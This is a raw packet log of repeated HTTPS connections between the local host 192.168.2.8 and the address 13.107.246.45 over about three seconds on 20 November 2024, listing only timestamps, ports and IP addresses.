Nov 20, 2024 03:21:59.052309990 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.052323103 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.052391052 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.052493095 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.052508116 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.054342031 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.054636002 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.054645061 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.054990053 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.055001020 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.155173063 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.155221939 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.155267954 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.155267000 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.155332088 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.155468941 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.155468941 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.155484915 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.155494928 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.158030033 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.158126116 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.158201933 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.158325911 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.158356905 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.235519886 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.235544920 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.329272985 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.329303026 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.585644960 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.589481115 CET	49972	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.589504957 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.589950085 CET	49972	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.589960098 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.677613974 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.681910038 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.681951046 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.682249069 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.682264090 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.690052032 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.690393925 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.690409899 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.690716982 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.690727949 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.691200018 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.691298008 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.691356897 CET	49972	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.691494942 CET	49972	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.691514015 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.691528082 CET	49972	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.691534042 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.693809032 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.693847895 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.693936110 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.694015026 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.694024086 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.706099987 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.706513882 CET	49974	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.706536055 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.706873894 CET	49974	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.706880093 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.779402971 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.779495955 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.779572964 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.779597044 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.779635906 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.779685020 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.779762030 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.779789925 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.779814959 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.779829025 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.781573057 CET	49978	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.781652927 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.781745911 CET	49978	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.781851053 CET	49978	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.781869888 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.788216114 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.788495064 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.788570881 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.788695097 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.788712025 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.788739920 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.788750887 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.790344954 CET	49979	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.790355921 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.790425062 CET	49979	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.790523052 CET	49979	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.790535927 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.793921947 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.798270941 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.798306942 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.798877001 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.798888922 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.808276892 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.808469057 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.808545113 CET	49974	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.808691025 CET	49974	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.808706999 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.808721066 CET	49974	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.808727026 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.810498953 CET	49980	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.810524940 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.810647964 CET	49980	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.810750961 CET	49980	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.810766935 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.894519091 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.894598007 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.894679070 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.897320986 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.897352934 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.897380114 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.897397041 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.900692940 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.900721073 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.900906086 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.901206970 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.901223898 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.324255943 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.324724913 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.324748039 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.325167894 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.325171947 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.422091007 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.422486067 CET	49978	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.422564983 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.422858000 CET	49978	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.422872066 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.422991037 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.423468113 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.423526049 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.423573017 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.423587084 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.423595905 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.423600912 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.426321983 CET	49982	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.426354885 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.426445007 CET	49982	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.426616907 CET	49982	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.426625967 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.442593098 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.442898989 CET	49979	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.442915916 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.443254948 CET	49979	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.443260908 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.462760925 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.463087082 CET	49980	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.463108063 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.463484049 CET	49980	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.463489056 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.519654036 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.519845963 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.519929886 CET	49978	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.521691084 CET	49978	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.521691084 CET	49978	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.521729946 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.521753073 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.532845974 CET	49983	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.532888889 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.532958031 CET	49983	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.533314943 CET	49983	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.533329964 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.536938906 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.537328959 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.537342072 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.537800074 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.537803888 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.543775082 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.544034958 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.544152021 CET	49979	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.544312954 CET	49979	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.544327974 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.544332027 CET	49979	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.544337034 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.546392918 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.546401024 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.548358917 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.548834085 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.548845053 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.565247059 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.565386057 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.565454006 CET	49980	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.565660954 CET	49980	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.565681934 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.565696001 CET	49980	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.565701962 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.571712971 CET	49985	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.571751118 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.571990013 CET	49985	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.572093964 CET	49985	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.572103977 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.636339903 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.636866093 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.636909962 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.636920929 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.636935949 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.636981964 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.637162924 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.637180090 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.637190104 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.637195110 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.640433073 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.640455961 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:00.640537024 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.640676022 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:00.640690088 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.090194941 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.090859890 CET	49982	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.090873003 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.091136932 CET	49982	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.091140985 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.193011999 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.193372011 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.193831921 CET	49982	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.198163033 CET	49982	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.198174953 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.198200941 CET	49982	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.198205948 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.204704046 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.204721928 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.204857111 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.209258080 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.211869955 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.231244087 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.231260061 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.231816053 CET	49983	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.231836081 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.232352972 CET	49983	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.232357025 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.232808113 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.232815981 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.233206034 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.233211040 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.265054941 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.265822887 CET	49985	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.265841007 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.266318083 CET	49985	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.266323090 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.292521954 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.292898893 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.292911053 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.293279886 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.293283939 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.333544970 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.333756924 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.333817959 CET	49983	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.333838940 CET	49983	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.333852053 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.333861113 CET	49983	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.333867073 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.333977938 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.335004091 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.335069895 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.335181952 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.335192919 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.335202932 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.335206032 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.336308002 CET	49988	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.336345911 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.336429119 CET	49988	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.336538076 CET	49988	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.336549044 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.337290049 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.337372065 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.337457895 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.337553024 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.337587118 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.367934942 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.367964029 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.368026972 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.368129969 CET	49985	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.368187904 CET	49985	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.368197918 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.368206978 CET	49985	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.368211985 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.370245934 CET	49990	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.370259047 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.370368004 CET	49990	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.370479107 CET	49990	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.370488882 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.396106005 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.396516085 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.396560907 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.396569967 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.396605015 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.396627903 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.396632910 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.396636963 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.396640062 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.398469925 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.398505926 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.398658037 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.398775101 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.398799896 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.904973030 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.905415058 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.905436039 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.905829906 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.905834913 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.979471922 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.979893923 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.979932070 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:01.980274916 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:01.980287075 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.005173922 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.005482912 CET	49990	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.005496979 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.005825996 CET	49990	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.005830050 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.011125088 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.011764050 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.011805058 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.011836052 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.011847019 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.011976957 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.011976957 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.011989117 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.011996031 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.014187098 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.014267921 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.014353991 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.014450073 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.014498949 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.018778086 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.019051075 CET	49988	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.019057035 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.019380093 CET	49988	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.019383907 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.033252954 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.033916950 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.033941031 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.034388065 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.034399986 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.083214998 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.087805986 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.087868929 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.087887049 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.087930918 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.087979078 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.087979078 CET	49989	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.088015079 CET	443	49989	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.088041067 CET	443	49989	13.107.246.45	192.168.2.8
